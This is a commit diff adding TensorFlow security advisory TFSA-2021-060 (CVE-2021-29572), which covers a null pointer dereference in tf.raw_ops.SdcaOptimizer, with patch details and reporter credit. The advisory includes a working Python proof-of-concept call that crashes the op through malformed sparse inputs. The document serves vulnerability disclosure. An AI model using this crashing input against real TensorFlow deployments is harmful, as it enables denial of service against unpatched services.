chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-060.md

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+## TFSA-2021-060: Reference binding to nullptr in `SdcaOptimizer`
+
+### CVE Number
+CVE-2021-29572
+
+### Impact
+The implementation of `tf.raw_ops.SdcaOptimizer` triggers undefined behavior
+due to dereferencing a null pointer:
+
+```python
+import tensorflow as tf
+
+sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
+sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
+sparse_feature_values = []
+
+dense_features = []
+dense_weights = []
+
+example_weights = tf.constant((0.0), dtype=tf.float32)
+example_labels = tf.constant((0.0), dtype=tf.float32)
+
+sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
+sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]
+
+example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)
+
+tf.raw_ops.SdcaOptimizer(
+  sparse_example_indices=sparse_example_indices,
+  sparse_feature_indices=sparse_feature_indices,
+  sparse_feature_values=sparse_feature_values, dense_features=dense_features,
+  example_weights=example_weights, example_labels=example_labels,
+  sparse_indices=sparse_indices, sparse_weights=sparse_weights,
+  dense_weights=dense_weights, example_state_data=example_state_data,
+  loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1,
+  num_inner_iterations=1, adaptative=False)
+```
+
+The
+[implementation](https://github.com/tensorflow/tensorflow/blob/60a45c8b6192a4699f2e2709a2645a751d435cc3/tensorflow/core/kernels/sdca_internal.cc)
+does not validate that the user supplied arguments satisfy all [constraints
+expected by the
+op](https://www.tensorflow.org/api_docs/python/tf/raw_ops/SdcaOptimizer).
+
+### Patches
+We have patched the issue in GitHub commit
+[f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb](https://github.com/tensorflow/tensorflow/commit/f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb).
+
+The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
+commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
+2.1.4, as these are also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu
+X-Team.